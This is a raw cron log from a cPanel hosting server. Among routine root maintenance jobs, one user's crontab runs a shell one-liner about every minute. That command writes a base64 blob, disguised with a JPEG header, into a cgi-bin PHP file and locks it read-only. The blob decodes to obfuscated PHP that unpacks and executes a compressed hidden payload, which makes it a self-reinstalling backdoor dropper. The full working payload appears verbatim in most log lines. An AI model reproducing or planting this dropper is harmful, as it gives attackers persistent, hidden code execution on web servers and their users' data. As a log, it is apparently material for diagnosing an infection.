Sep  5 07:24:01 server CROND[7738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:25:01 server CROND[8143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:25:01 server CROND[8141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:25:01 server CROND[8142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:25:01 server CROND[8146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:25:01 server CROND[8144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:25:01 server CROND[8148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:25:01 server CROND[8145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:26:01 server CROND[8997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:26:01 server CROND[8998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:26:01 server CROND[8999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:27:01 server CROND[9391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:27:01 server CROND[9392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:27:01 server CROND[9393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:27:01 server CROND[9394]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:28:01 server CROND[9857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:28:01 server CROND[9858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:28:01 server CROND[9859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:29:01 server CROND[10224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:29:01 server CROND[10225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:29:01 server CROND[10226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:30:01 server CROND[10613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:30:01 server CROND[10614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:30:01 server CROND[10616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:30:01 server CROND[10615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:30:01 server CROND[10619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:30:01 server CROND[10621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:30:01 server CROND[10620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:30:01 server CROND[10618]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:31:01 server CROND[11505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:31:01 server CROND[11507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:31:01 server CROND[11506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:32:01 server CROND[11884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:32:01 server CROND[11885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:32:01 server CROND[11886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:33:01 server CROND[12347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:33:01 server CROND[12348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:33:01 server CROND[12349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:34:01 server CROND[12745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:34:01 server CROND[12746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:34:01 server CROND[12747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:35:01 server CROND[13140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:35:01 server CROND[13142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:35:01 server CROND[13144]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:35:01 server CROND[13153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:35:01 server CROND[13147]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:35:01 server CROND[13155]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:35:01 server CROND[13150]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 07:35:01 server CROND[13146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:35:01 server CROND[13165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
